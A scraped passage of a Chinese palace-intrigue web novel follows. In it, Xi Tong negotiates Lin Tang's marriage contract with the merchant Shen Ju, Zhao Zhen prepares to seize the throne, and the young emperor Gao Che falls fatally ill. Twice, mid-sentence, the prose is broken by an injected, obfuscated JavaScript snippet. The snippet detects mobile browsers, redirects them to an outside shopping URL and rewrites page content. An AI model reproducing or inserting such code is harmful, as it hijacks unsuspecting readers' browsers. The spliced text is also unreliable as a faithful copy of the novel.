奚瞳像是个被人戳了肚皮的刺猬,赵臻乐不可支,环在她腰间的手又紧了些:“你在生气些什么,该生气的是我吧。你没瞧见高澜看你的眼神吗?垂涎三尺,不外如是。” 奚瞳气得转身拿拳头锤他:“你的大度都是装出来的,你看他不顺眼你去找他,你回来折腾我做什么?” “你不喜欢吗?”赵臻还是笑,带了点邪气:“我怎么觉得,你还挺喜欢的?” “你!”奚瞳羞得满脸通红。 赵臻将恼羞成怒的奚瞳一把揽进怀里,他低头亲吻她的耳廓:“瞳瞳,说真话。你喜欢的,对吗?” 又来!奚瞳简直想哭。 赵臻每次都这样,她身体给了她答案还不够,他还要她心悦诚服地说出口。 “瞳瞳?”赵臻的声音是带了笑意的温柔。 “喜欢。”奚瞳咬了牙,终是认输:“我喜欢的。” 赵臻得逞,拥抱的力度更深:“我也喜欢。喜欢得不得了。” …… 中秋夜宴后,赵臻忙的第一件事,就是给沈居物色夫人。夜宴上林棠闹了这么一出,沈居的婚事再拖下去,便不好收场了。赵臻开始给各大世家施加压力,有适龄的女儿若愿意嫁给沈居,可封为县主。 好不容易有几家递了名册上来,还没来到男女相看的环节,林家一家人便来了太傅府,沈居竟然跟他们一道。 赵臻没有半分笑脸,沈居那夜顺势求娶,在他眼里就是目的不纯,他哪里能给沈居好脸色。 一行人入了座,聊了几句,便知他们今日前来拜访的原委。林棠还是想要跟沈居成婚,只不过这次,是林泉和萧氏也点了头的。 “你当真愿意?”奚瞳凑近林棠,劝说道:“这是一辈子的事,你可不能意气用事。” 经历那一夜的深谈,林棠对奚瞳的态度好了很多,她对之前敌视奚瞳有些赧然:“你放心,我想明白了。我爹娘和哥哥也都同意了的。夜宴上,我……我一时冲动,做了这种事,若不嫁给沈居,日后再与别家议亲,稍有不慎,便会被翻旧账。与其被世家的族老和未来的夫君轻视,还不如就嫁给沈居。沈居最近来过林府几趟,我同他交谈几番,他虽是商贾,但并不是满身铜臭的俗人,平日里也读书,也喜欢琴棋书画,他对我,好像……好像也有几分真意。他虽年长我一些,但容貌不差,身边也没有妾室通房。我嫁给他是低嫁,我哥哥又是武将,将来会执掌一方兵权,他不敢欺负我的。” 两人交谈声音不大,但沈居还是听到了几分。 他起身,规规矩矩走到奚瞳跟前行礼:“贵人在上,沈某不讳言,沈某想求娶林棠,确实有利益考量掺杂其中,林家是太傅大人的心腹,林统领将来必有大作为,若说沈某丝毫不贪图这些,那是撒谎。但那日宫宴,林棠剑舞翩然,沈某倾心,也是实话。沈某不才,有些金银傍身,纵横商场数年,见多了庸脂俗粉,像林棠这样英气的女子,沈某是第一次得见,如何不心动。请太傅大人和贵人放心,也请林家二老放心,林棠嫁与沈家,便是当家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026968|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女主人,谁也别想为难了她。沈某此生绝不纳妾,唯她一人。若违此誓,天打雷劈,不得好……” “停!”奚瞳打断了沈居的誓言:“若发誓有用的话,要衙门做什么?” 沈居这样精明的人,听了奚瞳这句话,挠了挠头,竟透露出一些憨态:“那依贵人之见……” 奚瞳挺起脖子,清了清嗓子:“作为林棠的好朋友,我有几句话问你。” 赵臻、林载:……好朋友?什么时候的事? 沈居:“贵人但说无妨。” “你说你一生不纳妾,此言作数?” “当然作数!” “你说她嫁给你,便是你们沈家的当家人,中匮之权在她手里,你的父母兄弟都不能为难她,这话当真?” “必须当真!” “只有这些,不够。” 沈居面露难色:“那……还有?” 奚瞳道:“林棠少时因为政局不稳,离家五年,三年前才回到父母膝下承欢。她若远嫁萝州,林家两位长辈便要饱受骨肉离别之苦,实在让人不忍。” “这个好说。”沈居自信道:“沈某的主要产业虽都在萝州,但沈某不必时时在旁盯着,萝州的人手皆是跟随我多年的心腹,再说了,太傅大人将来也会令官差参与矿藏的打理,沈某没什么不放心的。沈某此番进京,虽是应召,但也是有心考察京师商市,本就有意在京师定居的。” 奚瞳闻言点了点头,赵臻的脸色也缓和一些:“如此一来,倒是不错。” 奚瞳瞪了赵臻一眼:“你别说话,我还没说完。” 奚瞳这句“命令”一出,沈居不由惊诧,林泉更是面有愤慨。赵臻是未来要做皇帝的人,奚瞳一个小女子,竟敢对他呼来喝去,未免也太放肆了一些。 赵臻却乐得被他的心肝啐,道一声“好嘞”便优哉游哉喝起了茶。 奚瞳打量沈居:“沈三爷,漂亮话谁都会说,我若教你立一份字据,将你保证的这些事一条一条记下来,若将来你违誓,你和林棠和离,你沈三爷的身家分一半给林棠,你敢吗?” 奚瞳说完,众人大惊,就连见惯了人心诡谲的赵臻都挑了挑眉,男女还未成婚,就做和离的打算,闻所未闻。更何况,还要教男子永不纳妾,若是和离还要分男子一半家产。 沈居却仰头朗笑起来:“哈哈哈,贵人真是天生的生意人。一半身家,换娇妻若此,换高门相依,换我沈家往后世世代代不再让人低看,有何不敢?待会儿沈某便拟好文书,落款画押,交由衙门公证,太傅大人抑或林家二老保管都可。贵人可还满意。” 奚瞳这才勾了唇角:“沈三爷是痛快人,纸笔旁边就有,写吧。” 沈居言出必行,沈林两家的联姻终于算是彻底敲定。 众人临走时,林泉特地走上前,红着一张老脸,不情不愿对奚瞳说:“老夫之前对贵人颇有……颇有不敬,还望贵人海涵。” 奚瞳笑了笑:“林大人若对我不喜,不必勉强。赵臻是我的夫君,林载是我相识已久的朋友,林棠是他们的妹妹,自然也就是我妹妹。我为他们,不是为您。” 林泉就这样碰了一鼻子灰,被萧氏拉着走了。 奚瞳转身,见赵臻含笑看着自己。 “你笑什么?” “你和林棠什么时候那么要好了?” 赵臻刚想夸她有了几分他妻子的做派,却听奚瞳叹息:“林棠对你情深一往,即便方才,她的眼睛也时时望向你。若没有我,你身边的人未必不是她。” 赵臻听了这话,方才还笑着,脸色当即又有些不好。 他拉过奚瞳,让她坐到了自己腿上:“这话我不爱听,以后不许说。” 奚瞳觉得他变脸太快,有些好笑:“这有什么,我只是说如果……” “没有如果。”赵臻的手伸向奚瞳的脑袋:“奚瞳,你注定是我的,我也注定是你的,谁也抢不走。” 下一刻,奚瞳便被赵臻摁着,吻上了他的唇。 69.第 69 章 因着林家兄妹成婚的对象也是兄妹,这两对的成婚礼便定在了同一天——开春之后的三月十九。 经过同沈居议亲这件事,林棠同奚瞳真的热络起来,最后的闺中时光,她常来太傅府,同奚瞳谈天。 “我之前真的很喜欢兄长。”林棠笑起来,两颊有深深的酒窝:“我曾经真心想过,可以跟你共事一夫,甚至你做大我做小,我都是可以接受的。” “可别。”奚瞳哼一声:“我不接受。” “我一直觉得兄长是这个世上最好的男人。英俊、高大、有本事但又不吹牛。没有人比他更好了。” “这倒是。”奚瞳狠狠点头。 “可跟沈居走动得多了,我才发现,其实沈居更适合我。”林棠的眼神变得有些悠远:“我本就是喜欢热闹的性子,我喜欢护城河的花灯,喜欢街上的糖人,喜欢时兴的衣服首饰,喜欢一切新鲜的玩意儿。可兄长喜静,成日里要么就是皱着眉头看奏书,要么就是抱着老学究写的之乎者也的论著。沈居却愿意陪着我,陪我去街市吃小吃,去茶楼听曲儿,昨日我们还去郊外放了烟火。” “嗯。”奚瞳耐心地听着。 “我脾气不好,又吃软不吃硬,别人得哄着我。可兄长从小到大都没哄过我,都是我哄他。但沈居是常常哄我的,他总有办法让我开心。” “嗯。” “我喜欢看别人笑,我自己也喜欢笑。可是兄长很少对我笑,不,应该说,他很少对除了你之外的人笑。但沈居喜欢笑,而且他笑起来的样子也十分俊秀,让人看着舒服。” 奚瞳看向林棠:“那棠棠,你喜欢沈居吗?” 奚瞳虽也算促成林棠和沈居婚事的推手,但那是因为沈居保证了会对林棠好。如今女子们大都盲婚哑嫁,能遇到一个对自己好的人实属不易。 只不过姻缘是一回事,情爱又是另一回事。 林棠听了奚瞳的问题先是怔了怔,继而笑着摇了摇头:“还没有。但我觉得我会喜欢上他的。就像我今日对他的好感,多于初见他之时,也多于一起放烟火的昨日。” 奚瞳有些沉默,许是窥见到奚瞳的伤感,林棠赶紧换了话题,她抱怨道:“我不明白父亲为何执意要把我们的婚事定在三月,春寒料峭的,要穿好多层衣衫,大囍之日都不能展现自己婀娜的腰身,一辈子只这一天呢。” 奚瞳喜欢林棠天真烂漫的模样,她先前也觉得日子定的急了些,成婚章程琐碎,男女相看过后,总要留出一年预备。 可近来跟裴叔闲谈才知,十三年前的四月,赵家获罪,赵臻的至亲三族被捕入狱,此后半年,京城笼罩在由赵家族人鲜血汇成的猩红之中。 林泉特意避开赵家族人的忌日,是对枉死挚友的一份惦念,也是作为长辈,对赵臻的一份舐犊之情。 听闻此事,奚瞳对林泉的不满消解了很多。这老头喜欢摆长辈的派头是真,但疼惜晚辈也不是假的。 奚瞳伸手刮一刮林棠的鼻尖:“三月中旬是满城桃花盛放之日,桃花是姻缘之花,不但吉利,还会将你这个小美人衬得愈发妍丽。” “我是美人?”林棠高兴了。 “当然。” “跟周韵仪比呢?” “嘶……那还是韵仪略胜一筹。” “我就知道,你果然还是跟她要好。” “这跟要不要好没关系,我们做人还是要诚实。” …… 阳春三月倏忽而至。 沈林两家的婚事办得十分热闹。百姓们都沿街观看,一场婚事,迎两对新人,放诸四海都是新鲜事。 沈家见状便生了商界巨贾的豪气,凡是在场的百姓都得了喜糖喜饼,听说就连路过的狗都是叼了两块排骨走的。 沈林联姻一夜之间成为京畿要地最大的美谈,只是百姓们还不知道,这京城的天,很快就要变了。 …… 沈林两家婚事落定之后,奚瞳的生活看似没有什么变化,赵臻还是白天去大朝晖殿料理政事,晚上回来料理她。 只不过在一夜夜的酣眠之中,奚瞳总能隐约闻见一种味道。这种味道甚至盖过了赵臻身上的檀香和体香。 奚瞳对这种味道再熟悉不过了,长秦国破那日,长秦王宫的空气之中,弥漫的就是这种味道。 是血。 起初奚瞳只觉得自己想多了,直到有一天,赵臻在宫中议事迟迟未归,她在书房看书时,屋顶瓦片的缝隙里,有一道粘稠的血线滴落下来。 她的心瞬间提起,赵臻没有回来,是不是出事了…… 她带上白鹭山人给她的扶霞剑夺门而出,不顾裴鸣和紫虚的阻拦,一路跑到太傅府大门口,却恰好碰到了回来的赵臻。 奚瞳顾不得街巷上有路人在看,一头扎进了赵臻的怀里:“你去哪里了,怎么才回来?” 赵臻轻轻拍着她的背:“在商量今年儒生科考的事,就耽搁了一会儿,我这不是回来了吗?” 这天奚瞳才知,赵臻怕她担心,有些事没有知会她。 周正和高江眼看大势已去,仍不甘心,便寻了许多杀手刺客,轮番刺杀赵臻。 赵臻的暗卫和部曲将太傅府严密的保护起来,因着白鹭山人的面子,许多想要出人头地的游侠也自觉来到了京城,暗中保护着赵臻和奚瞳的安全。 这几月时光里,从太傅府楼阁屋顶、灌木丛中拖出来的尸体,没有一千也有八百了。 奚瞳听了暗暗心惊,赵臻安抚她:“别怕,快了。” “快了?”奚瞳先是疑惑,继而恍然:“你是说,你要动手了?” 赵臻点头,摩挲着拇指的扳指:“一月之后,四季秋来,是杀人的好时节。” 奚瞳有些不明白:“其实你早已做好了准备,去年中秋宫宴,你已经有了问鼎之心,是不是谋反,你都不在乎。既如此,赵臻,你在等什么?” 赵臻脸上流露出少见的伤感之情:“下个月,张老太爷过八十大寿,之后便回老家颐养天年,老人家年纪大了,我怕这京中的乱局扰了他的清静。” “张老太爷……是谁?” “张逑的祖父,也是先帝的恩师,同样也是我和高澜的启蒙老师。”赵臻回忆起同这位张老太爷的往事。 张老太爷名为张牧,是三朝老臣,仕途最高时做过宰相,给先帝教授过课业。后来荣休也依旧为朝廷效力,在皇家学塾给皇子和世家子弟讲学。 张逑的父亲英年早逝,是张牧一手将他和他哥哥张追养大的,祖孙情谊深厚非常。 张逑也不负张牧期望,弱冠之年便入朝为官,做的又是刑狱的要紧差事,很有能力,升迁也很快。 只是这祖孙二人终究生了龃龉,裂痕的发生,是因为张逑入了赵臻的麾下。 张牧同情赵家的遭遇,但再怎么同情,也不能改变他对高氏的忠诚。张逑这些年为赵臻鞍前马后,张牧气不过,便让另一个孙子张追做了昭阳王高澜的门客。 所幸赵臻行事有分寸,让张逑做的差事,譬如蓉州中正案,城郊烹小鲜案等等,都是他这廷尉监的分内之事。也因为这样,张老太爷这些年才能勉强维持面子上同张逑和赵臻的平和。 可如今赵臻夺位蓄势待发,老太爷便坐不住了,张逑每每回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032990|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家不是挨打就是挨骂,无甚办法。 如此棘手的境况之下,赵臻和张逑想到的应对之策就是,让张老太爷眼不见为敬。张逑请了姑母们轮番劝说,终于说服了老太爷,过完八十大寿便回胶州老家安度晚年。 “老太爷觉得自己一生荣华,是因高氏赏识,他的忠心,亦是他的风骨。在人人都在观望朝局、伺机而动的今日,实在让人钦佩。”赵臻道。 奚瞳点头,他能理解张老太爷,就像昔年长秦亡国,也有许多守国而死的良臣。 但很多时候,一个王朝的气数尽了,就是尽了,赵臻本来做好了逼宫夺位的准备,可时运似乎已经彻底倒向了他。 天道不许他做佞臣,想给他一个机缘—— 在赵臻许下一月之期的第三天,大内传来消息,幼帝高澈在用完善时一头栽到了地上,昏睡不醒。 赵臻和奚瞳对视一眼,彼此了然,是半山骨…… 赵臻起身要往宫城走,奚瞳拉住他:“我跟你一起。” “不行!高澈若挺不过这遭,宫城势必大乱,太危险!” “我不怕!”奚瞳倔强地盯着赵臻。 赵臻最终没了办法,牵住她的手,一路走到府外马厩,他抱她跃身马上,策马驶入宫城。 栖梧宫里,内侍宫婢来回奔忙,御医跪了一地,为首的一个白发医者摸着高澈的脉搏,手止不住的发抖。 “怎么样?”周怀淑双眸含泪焦急问道。 御医战战兢兢,给周怀淑一个劲儿地磕头:“太后娘娘,老臣无能,老臣无能啊。” 周怀淑失控地嘶吼:“你磕头做什么?!不许磕头!不许认罪!澈儿怎么了!你说!我的澈儿怎么了!” 太医抬头,面颊上因衰老而下垂的腮肉都打着颤:“回太后娘娘……是……是死脉。” 周怀淑双腿发软,周潮在她身边搀扶住她。 “死脉……死脉是什么意思?!”周怀淑的眼泪夺眶而出:“澈儿明明还活着,用膳的时候还好好的,死脉是什么意思?!” “死脉……便是无神之脉,陛下……陛下之神气,已经耗尽了,老臣……无力回天。至多……至多还有三日阳寿。太后娘娘……节哀啊……” 太医说到这里,赵臻走进了宫室,周怀淑挣脱了周潮,扑进了赵臻的怀里。 “玄度!澈儿!我的澈儿啊!你救救他好不好,求你救救他!” 哭诉至此,周怀淑渐渐从赵臻的怀里滑落,跪倒在赵臻脚下,她双手合十,仰视着赵臻,眼泪滂沱,不住地哀求。 “玄度,我知道错了,我知道我做错了。但我做的恶,为什么要报应在我的孩子身上?!求求你救救他,只要你救他,我什么都愿意做。我可以不做太后,我可以去死,只要你能救他,我可以给赵吟偿命。枭首、断腰、车裂、凌迟我都愿意。玄度,求你看在我们相识多年的份儿上救救澈儿好不好!求求你啊玄度!求求你!” 周怀淑的声音那般凄惨、恳切,奚瞳听了,心中也有些伤怀。 周怀淑贪慕钱权,自私自利,为了达到自己的目的,牺牲旁人的性命在所不惜。可此刻她作为母亲,拳拳爱子之情,同样彻骨真切。 或许是这一刻的周怀淑的忏悔太过真诚,赵臻生了一瞬恻隐,他头一次撒了谎。 他将周怀淑扶起来:“我想办法。” 周潮将周怀淑搀到一旁,任由她在自己怀里涕泗横流。 他同赵臻交换一个眼神,奚瞳远远看着,她明白这个眼神的含义。 高澈的死,神仙难救,赵臻再有办法,也不过就是拖延几日罢了。